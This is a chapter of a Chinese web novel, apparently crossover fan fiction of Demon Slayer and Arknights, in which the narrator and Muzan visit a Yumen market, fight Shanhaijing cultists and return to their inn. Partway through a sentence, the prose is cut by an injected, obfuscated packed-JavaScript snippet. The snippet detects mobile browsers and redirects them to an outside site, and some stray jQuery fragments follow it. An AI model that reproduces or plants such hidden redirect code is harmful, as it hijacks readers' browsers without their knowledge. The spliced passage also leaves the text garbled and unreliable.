默认冷灰
24号文字
方正启体

35. 第 35 章

作者:白葬本书字数:K更新时间:
    我成功把无惨拉出去逛街了。


    其实我以为他不会答应的,但他坐在椅子上略加思索后点了点头,随后问我去哪。


    “去集市。”我告诉他。


    玉门集市几年一开,大多都只在与龙门对接补给物资的时候,此时的集市里不仅有玉门当地的摊贩,还有来自龙门的商队,集市上也有数种两地各自的商品。正因为是难得才有的大型集市,即便到了夜晚也热闹不减,吆喝声传遍街头巷尾,空气中飘着茶叶香和瓜果香气,人流量完全不输其他移动城邦的商业区。街巷里传来零星的金属敲打声,是接了急单赶制工艺品的铁匠铺在加班打铁。


    站在水果摊前深呼吸,清甜的甜瓜香味扑鼻而来,我挑了个卖相不错的瓜,又在旁边抓了一把枣子,付了钱后又在隔壁摊位买了块烧饼。


    鬼舞辻无惨看着我咬着烧饼数枣子的样子,问了句:“你晚上没吃饱?”


    “逛街时买的吃的都是另外算的嘛。”烧饼是驮兽肉馅的,焦脆的饼皮夹着咸香的酱肉,驮兽肉中带着些肥肉,在面饼中和下变得不那么油腻,入口后大脑便疯狂传递美味的信号,我和他说的话都不由得音调上扬。


    甜瓜就带回去再切好了,应该能让客栈掌柜帮忙的,虽然我自己也有刀……用能控制尸体的帝具切瓜这种事还是算了吧,说不定还会被帝具嫌弃。


    我拿了个枣子张口咬下。


    “话说,我以前好像在哪里看过一个说法,吸血鬼不能吃普通食物,但能通过人血尝到人之前吃过的东西的味道。”鬼也不能吃人类的食物,虽然无惨大约只是对我嘴上不停的表现感到无语,但我总觉得是晾着他了,“这个枣子也算玉门特产的水果,你要不要尝尝?”


    他半张着口看着我一时没有说话,像是噎住一般,过会反倒笑出了声:“这是哪里来的说法,鬼又不是那种东西。”


    我说大概是其他的漫画,不死心地还是追问他:“所以其实鬼不是这样的对吗?”


    “那不然呢,你到底在想什么?”他似是被气笑了,走向一边的书摊翻了翻摊上的书本。玉门的书摊大多也卖的是武侠传记小说,或许是没有他感兴趣的,他渐渐露出些不满的神色,身上的低气压让一旁刚想推销的摊主也自觉闭了嘴。


    我自知理亏,安静地抱着装了水果的袋子向他挪近几步。


    “说起来,你在找什么吗?”我凑过去问他。其实从晚上开始,我就一直觉得鬼舞辻无惨似乎在想什么,像是在寻找什么东西的样子,或是找什么人,大约答应和我出门也是有这层原因,但这里是泰拉,他又会找什么人?


    他扫了我一眼,从书摊前走开,我跟着他继续向前走,他用旁边路人听不见的声音说:“与其说是我在找,不如说,有人似乎好奇心太重了。”


    好奇心?这总不能说的是我吧,我只是问了他这一个问题,他在说这话的时候也看向别处。随后他在一条巷口前停下脚步转过身,什么都没说便迈步向前。


    我有些一头雾水,但还是跟了上去,顺便又追问他发现了什么。


    跟着无惨走进小巷深处后,不等我继续问他,就已经感到了些许异样。像是被什么人盯住的感觉渐渐萦绕上心头,我来回张望着,在回过头的时候余光瞥见了我身后那根菲林尾巴,此刻上面的绒毛居然根根竖起,整条尾巴的体积几乎放大一倍。


    所以确实有什么威胁正在接近,尽管我没有所谓蜘蛛感应的神奇能力,但拟态出的泰拉人出自种族血脉里的本能不会骗人。我将装有水果的袋子包好,取出太刀「八房」戒备着与无惨靠得更近些。


    “哼,总有些不知天高地厚的家伙,我是不是应该夸赞你们勇气可嘉?”


    随着鬼舞辻无惨的话音落下,数个人影从暗处显现,那些人身着兽皮制成的衣袍,帽子遮得严实只露出耳朵,脸上戴着由兽类头骨制成的面具,与下午在城门□□战过的那群人如出一辙——就是山海众组织的巨兽信徒。他们所拿的武器多是些钩索砍刀,此刻虽然拿在手上,却没有直接进攻的意图。


    按无惨的说法,这群人就是来找他的,但山海众向来信奉巨兽,蛰伏在玉门伺机而动归根结底也是为了“将土地归还给它原本的主人”。他们,难道是以为无惨也是那种存在?


    为首的山海众头目并没有戴兽骨面具,他的帽子上兽皮要比别人更厚实些,只用立领挡住口鼻,一手持长弯刀,另一手反握着匕首,向前一步站在所有山海众成员前方。在我还心说这将领的立绘变成现实就是这般模样的时候,他先开口了:“您并非寻常人类,我们能分辨出来,这位先生,若您有什么需要做的事,我们能帮您。”


    “帮我?呵,你们拿什么帮?”若非这里是泰拉,这些山海众又是我与他说过的巨兽信徒这种特殊人群,无惨大约就直接动手灭口了吧,但他先是扫了我一眼,便冷笑着反问那头目。


    “我等此次在玉门为执行任务而来,若先生的要事有我等能助力之处,还请告诉我等,之后若是可以的话,也希望能邀请您同行……”那头目下午并不在城门口,并没有认出我,当然,他的目光也一次都没有落在过我身上,只是自顾自地对无惨说,“我们会将炎国人占据的土地尽数归还……”


    “这跟我有什么关系?”鬼舞辻无惨直接打断了对方的话,挑眉笑道,“你们还挺自以为是的,自顾自说了那么多蠢话,连我需要什么都不知道就敢说能帮我,一群自命不凡的蝼蚁也妄想抬高自己的地位了?”


    山海众信奉巨兽,想来是有什么方法能分辨人兽,但说到底无惨也不属于这里的任何一种现有生物,他们又是如何看出他的与众不同?我确实会担心存在一些新的变数,或许是知道无惨真实信息的什么人,或许是剧情中未曾展现、因为我和无惨的到来而提前铺开的阴谋,我能根据记忆中的剧情决定如何行动,但实在不擅长应付突发意外。我悄声与无惨说了这个担忧,他没有回答我,但也将问题抛给那个山海众头目:“我倒是好奇,你们怎么那么笃定,我是与人类不同的存在?”


    “山海众自有方法,只是我级别有限,无权擅自告知先生,若您与我们同行,自会有人将您想得知的信息传达……”在他说话的时候,他身后有个山海众成员上前半步对他耳语几句后,他终于看向我,话锋一转,“您身边的这个人在下午曾与我们交战过,不知是否是您的安排?”


    鬼舞辻无惨闻言瞥向我,侧身让出空当,在我疑惑地看向他时他将我向前推了出去。“她确实听命于我,不过你们在打败她之前,还没资格向我提问。”我看见他似笑非笑地看了看我,又看向对面的那群山海众,那头目已经挑了个手下叫上前来,分明是做好了决斗的准备。


    我、我吗?


    我看着无惨指了指自己,还未等看见他的回应,便感觉身边有人冲了上来。我没工夫再犹豫,「八房」立刻出鞘挡住山海众成员弯刀的一击,随后暗处闪出另一道身影,挥刀斩断了这人持刀的手臂。「八房」能操控的无胄盟杀手的尸体傀儡还剩下四个,虽然经历无限城那一战后也都有些残破,但从暗处出现突然袭击,这还是他们最擅长的。


    “主人不喜欢弱者,山海众若是不能证明自己的实力,就别妄想自己在玉门的行动能成功,更不要说你们计划中给大炎惹的其他麻烦。”后半句确实是我自作主张说的,无惨大概没想表现出任何立场信息,听见我这么说他也愣了愣,但既然他先将我推出来和人打,那我也可以小小地坑他一把;不过是给人留下了一种他可能想帮炎国人的印象,算不上什么严重的事。


    反正不管怎么说他都不可能再给这些自大的山海众成员好脸色的,我也正好,讨厌这群天灾时只会破坏民用避难设施的山海众。


    系统卡死后商城无法使用,单靠「八房」和【钙质化】的能力以一敌多确实有些吃力,但躲在暗处的无胄盟狙击手帮了我大忙,那些带着侵蚀法术的箭矢破开了山海众成员的甲胄,我反而是越打越轻松。


    在我躲过法术攻击冲上前刺穿一名山海众术师的胸口,又在拔出刀后将「八房」的刀尖直指命不久矣的术师眉心,黑色的能量涌动着自刀尖浸入术师身体,完成了新傀儡的制作后,那山海众头目终于意识到事态发展不妙。他后退几步,说了句“希望先生再考虑”后便再次丢下释放烟雾的圆珠,又一次,尘烟散去后那些山海众成员消失不见了。


    我长出一口气,终于放松下来。


    “无惨,我们要好好协助玉门对抗巨兽祸事哦。”我蹲下身翻开倒地的山海众成员,摇摇头决定不用这些普通成员的尸体滥竽充数,转头对鬼舞辻无惨坏笑一下,“直接帮你决定了,抱歉咯。”


    “是嘛,那我也可以把擅作主张的棋子舍弃,再去看看那群人为了自己的信仰能做到什么程度。”他笑得发狠,让我感觉不妙,但他身后突然传出的人声让他收住表情低头瞥向后方。


    是巡防营的守军,站在巷口问我们为何在此,言语中目光绕过鬼舞辻无惨看见了地上倒着的几具山海众成员尸体。守军叫来几个人,几名官军迈着整齐的步伐走入巷子,还好我在刚才抢先一步收走了「八房」和尸体傀儡,看着甲胄严实装备齐全的守军,一脚挪到无惨身旁。


    我们听见了巷中有声响,走进其中查看才发现有人倒在这里,我略通些治疗法术,才上前查看情况,我是这么和那几名巡防营守军解释的。“我和朋友都不是玉门人,不过这些人的衣服也和当地人不太一样,敢问是城内发生什么事了吗?若有我能相助的,我也必不会推辞。”其实玉门原本就聚集了不少江湖武侠,但二十年前山海众便有一次伪装成江湖人士潜入玉门破坏的事变,自那之后江湖人士便不再方便参与玉门城内的相关事务,但客气还是要客气一下的,不然表现得太置身事外,反而还会被怀疑。


    守军果不其然摆摆手,拿出官腔说这是玉门城私事,城内近日有匪寇流窜,让我们无事不要外出,小心可疑人士。我笑笑说知道了,拿起自己的东西拉着无惨就离开了,他倒是没再说什么,只在走远巷子到无人再看见的地方后将手抽了回去。


    “你应该,没有在生气吧?”人在心虚的时候会不由自主地说很多话,我迈着小步子快步跟着他,凑过去想看他的表情,但他总是比我快半个身位,“我是因为个人原因所以真的挺想好好帮炎国的,如果山海众


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679167|173202||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那边真的有你觉得可能有用的信息你也可以去问问他们,我也能帮你抓两个来……”


    “在你眼中我会这么容易生气,你是这么‘了解’我的?”他大约是终于被我烦得受不了了,站定后转身看我。我一下没收住重心撞在他胸前,如果不是这种说正事的气氛,我还挺想假装站不稳多占点便宜的,但是现在吧还是快些退开道歉比较好。


    “有、有吧……没有!”我托着装有瓜果的袋子的双手食指互相戳了戳,被他盯得心虚地移开视线,想起来能把东西都收进物品栏,就也把碍事的袋子收了回去,然后双手合十迅速张口念道,“无惨大人您是君心难测呀,怎么会是喜怒无常呢,您只是不怒自威,从来没有发怒过的。”


    现在他是真的不想跟我说话了。


    我跑起来才追上他。


    “对不起嘛!等我一下啦别走那么快,理我一下啦无惨大人!只要是我能做的,我什么都愿意……”他又一次猛地站住,这回我争气地站住了没有撞上他,然后看着他回头瞪着我的那双红眸,干笑两声说,“啊哈哈我是说,我突然想起来,能不能把你的手机借我一下?”


    “做什么?”他的问题简短,手机确实已经拿在他的手上,但还没有给我的意思。


    我说我看一下灶门炭治郎有没有发什么消息,毕竟之前有跟他说过,有事可以直接拿我的手机给无惨打电话或发信息,通讯录里就有存,并且还置顶了。


    手机被抛过来,我后退几步抬手接住。他这部在泰拉买的手机没有设置密码,倒不如说只是之前为了联络方便才买的,里面的壁纸都完全没有更换,还是默认的黑屏。我在查阅消息和通话记录时,听见他不冷不热地说了句“那么关心那小子做什么,他要是待在客栈都能死那也太废物了”。


    “主要是照顾一下小孩啦,让一个大正时代的人直接到泰拉这种地方,还是太强人所难了吧。”消息记录仍然保持在我在卡西米尔给他发过的最后一条的界面,看上去没有什么意外情况发生,我退出来后看着漆黑的默认壁纸心生歹意。


    鬼舞辻无惨没看我这边,换回了平常的步速往客栈方向走,我也慢慢跟着他,只听他说:“按大正时代来算的话,管你叫小孩还差不多。”


    我戳手机屏幕的手顿住,忍不住停下脚步盯着他的背影。


    “诶刚才那句,是在开玩笑?”


    他没有否认,当然更没有给出肯定的回答。


    好吧,就当他在开玩笑了。


    我喊了他一声,终于是打开手机相机举起,在他回头的同时也抬头对着前置摄像头笑着吐了吐舌;结果就是照片中的他没什么表情,甚至没有看向摄像头——只是我想着等他反应过来了可能就不会同意我拍照了,便提前按下了摄影键。


    不过他这种帅哥就是无死角的帅,所以怎样都很好看,在我这么说着给他的手机设置上新壁纸之前,手机就被他抽了回去。


    如果能成功设置好壁纸的话这个晚上大概会更圆满吧,我想着,跟鬼舞辻无惨回到客栈房间,彼时玉门城内的氛围变得更紧张了些,窗外偶尔传来夜间巡逻的守军脚步声。当然,玉门确实是个安全的地方,不需要像在卡西米尔时那样担心被突如其来的杀手抹了脖子,也不担心哪天房屋外爆开带着源石粉尘的炸弹。


    躺在床上的时候,鬼舞辻无惨正坐在椅子上看手机,我今天早些和他讲了点炎国的故事,他大约就在看那些。可能是我的视线太过明显,他皱皱眉抬头看向我:“什么事?”


    “不没什么……”只是觉得睡觉的时候他在旁边醒着有种微妙的耻感,而且自己一个人呼呼大睡晾着他也有点淡淡的不好意思,话虽如此我好像确实困了,眼皮已经开始打架。


    他一句话给我听清醒了:“难道你在期待什么吗?”


    我用力深呼吸一次拉起被子把自己埋进去,要说想歪到什么地方我不敢打包票说自己没有过,但这点心思被正主点出来也太过惊吓,我隔着被子朝他喊了句“没有”,听着他没有再说什么之后终于忍不住困意逐渐睡过去。


    翌日玉门在晨时恢复了热闹,但按剧情发展,昨夜已经有刺客闯入军营妄图行刺,只是也涉及到岁与其他巨兽的事务,没让普通民众知道也是正常的。我按照昨日说好的带灶门炭治郎去铸剑坊先为他找个趁手的防身武器,却被堵在了铸剑坊门口。


    “咱这就是个铁匠铺,您要打些菜刀、铁锅、日常用品就尽管开口,但那些刀剑武器,打不了。”铸剑坊的当家孟铁衣现在不在坊内,看点的伙计正拨着算盘清点材料,听我说了想拜托他们打把刀后头都没抬就丢回这句话,像是重复无数遍早已准备好的说辞,随后又是些碎碎念的絮叨,什么“你们这些外地游客就奔着那些武侠传说”还有“买点实际的特产回去不好吗”。


    鬼舞辻无惨完全是一副看戏的模样,灶门炭治郎有些欲言又止,我这才把自己遗忘的剧情细节想起来。


    这“铸剑坊”如今也只是个老字号的招牌,玉门的铁匠铺早已不对游客售卖刀剑。


    我佯装早有预谋,问灶门炭治郎:


    “你拿菜刀也能使呼吸法的,对吧?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)